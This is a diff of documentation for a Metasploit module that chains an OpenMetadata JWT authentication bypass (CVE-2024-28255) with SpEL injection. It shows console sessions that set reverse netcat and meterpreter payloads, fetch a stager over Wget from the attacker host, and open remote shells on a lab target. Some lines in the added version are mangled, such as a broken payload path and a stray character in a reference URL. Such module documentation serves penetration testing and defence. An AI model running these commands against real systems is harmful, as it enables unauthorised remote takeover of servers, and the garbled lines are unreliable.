@@ -45,15 +45,15 @@ msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > info
45
45
Name: OpenMetadata authentication bypass and SpEL injection exploit chain
46
46
Module: exploit/linux/http/openmetadata_auth_bypass_rce
47
47
Platform: Unix, Linux
48
- Arch: cmd, x64, x86
49
- Privileged: Yes
48
+ Arch: cmd
49
+ Privileged: No
50
50
License: Metasploit Framework License (BSD)
51
51
Rank: Excellent
52
52
Disclosed: 2024-03-15
53
53
54
54
Provided by:
55
55
56
- Matias Puerta alias tutte (https://github.com/tutte )
56
+ Alvaro Muñoz alias pwntester (https://github.com/pwntester )
57
57
58
58
Module side effects:
59
59
ioc-in-logs
@@ -68,8 +68,7 @@ Module reliability:
68
68
Available targets:
69
69
Id Name
70
70
-- ----
71
- => 0 Unix Command
72
- 1 Linux Dropper
71
+ => 0 Automatic
73
72
74
73
Check supported:
75
74
Yes
@@ -82,28 +81,17 @@ Basic options:
82
81
html
83
82
RPORT 8585 yes The target port (TCP)
84
83
SSL false no Negotiate SSL/TLS for outgoing connections
85
- SSLCert no Path to a custom SSL certificate (default is randomly generated)
86
84
TARGETURI / yes The URI path of the OpenMetadata web application
87
- URIPATH no The URI to use for this exploit (default is random)
88
85
VHOST no HTTP server virtual host
89
86
90
-
91
- When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
92
-
93
- Name Current Setting Required Description
94
- ---- --------------- -------- -----------
95
- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.
96
- 0.0.0 to listen on all addresses.
97
- SRVPORT 8080 yes The local port to listen on.
98
-
99
87
Payload information:
100
88
101
89
Description:
102
90
OpenMetadata is a unified platform for discovery, observability, and governance powered
103
91
by a central metadata repository, in-depth lineage, and seamless team collaboration.
104
92
This module chains two vulnerabilities that exist in the OpenMetadata aplication.
105
93
The first vulnerability, CVE-2024-28255, bypasses the API authentication using JWT tokens.
106
- It misuses the `JwtFilter` that checks the path of url endpoint against a list of excluded
94
+ It misuses the `JwtFilter` that checks the path of the url endpoint against a list of excluded
107
95
endpoints that does not require authentication. Unfortunately, an attacker may use Path Parameters
108
96
to make any path contain any arbitrary strings that will match the excluded endpoint condition
109
97
and therefore will be processed with no JWT validation allowing an attacker to bypass the
@@ -117,16 +105,15 @@ Description:
117
105
References:
118
106
https://nvd.nist.gov/vuln/detail/CVE-2024-28255
119
107
https://nvd.nist.gov/vuln/detail/CVE-2024-28254
120
- https://github.com/open-metadata/OpenMetadata/security/ advisories/GHSA-6wx7-qw5p-wh84
108
+ A https://securitylab. github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata/
121
109
https://attackerkb.com/topics/f19fXpZn62/cve-2024-28255
122
110
https://ethicalhacking.uk/unmasking-cve-2024-28255-authentication-bypass-in-openmetadata/
123
111
112
+
124
113
View the full module info with the info -d command.
125
114
```
126
- ### OpenMetadata 1.2.3 Unix command - cmd/unix/reverse_netcat_gaping
115
+ ### OpenMetadata 1.2.3 Automatic - cmd/unix/reverse_netcat_gaping
127
116
``` msf
128
- msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set target 0
129
- target => 0
130
117
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set payload cmd/unix/reverse_netcat_gaping
131
118
payload => cmd/unix/reverse_netcat_gaping
132
119
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set rhosts 192.168.201.42
@@ -149,29 +136,19 @@ pwd
149
136
uname -a
150
137
Linux 1e3c578a0acc 6.6.32-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Jun 13 14:14:43 UTC 2024 x86_64 Linux
151
138
```
152
- ### OpenMetadata 1.2.3 Linux Dropper - linux/x64/meterpreter/reverse_tcp
139
+ ### OpenMetadata 1.2.3 Automatic - cmd/ linux/http /x64/meterpreter/reverse_tcp
153
140
``` msf
154
- msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set target 1
155
- target => 1
156
- msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set payload linux/x64/meterpreter/reverse_tcp
157
- payload => linux/x64/meterpreter/reverse_tcp
141
+ msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
142
+ payload => cmd/linux/http/x64/meterpreter/reverse_tcp
158
143
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > exploit
159
144
160
145
[*] Started reverse TCP handler on 192.168.201.8:4444
161
146
[*] Running automatic check ("set AutoCheck false" to disable)
162
147
[*] Trying to detect if target is running a vulnerable version of OpenMetadata.
163
148
[+] The target is vulnerable. Version 1.2.3
164
- [*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
165
- [*] Using URL: http://192.168.201.8:8080/WnMaYO
166
- [*] Client 192.168.201.42 (Wget) requested /WnMaYO
167
- [*] Sending payload to 192.168.201.42 (Wget)
168
- [*] Command Stager progress - 50.46% done (55/109 bytes)
169
- [*] Command Stager progress - 70.64% done (77/109 bytes)
149
+ [*] Executing Automatic for cmd/linux/http/x64/meterpreter/reverse_tcp
170
150
[*] Sending stage (3045380 bytes) to 192.168.201.42
171
- [*] Command Stager progress - 82.57% done (90/109 bytes)
172
- [*] Command Stager progress - 100.00% done (109/109 bytes)
173
- [*] Meterpreter session 18 opened (192.168.201.8:4444 -> 192.168.201.42:55205) at 2024-07-29 15:30:41 +0000
174
- [*] Server stopped.
151
+ [*] Meterpreter session 11 opened (192.168.201.8:4444 -> 192.168.201.42:50599) at 2024-07-31 14:31:37 +0000
175
152
176
153
meterpreter > getuid
177
154
Server username: openmetadata
@@ -186,4 +163,4 @@ meterpreter > pwd
186
163
meterpreter >
187
164
```
188
165
## Limitations
189
- Only limited payloads will work, so stick to the default payloads configured at the module.
166
+ No limitations
0 commit comments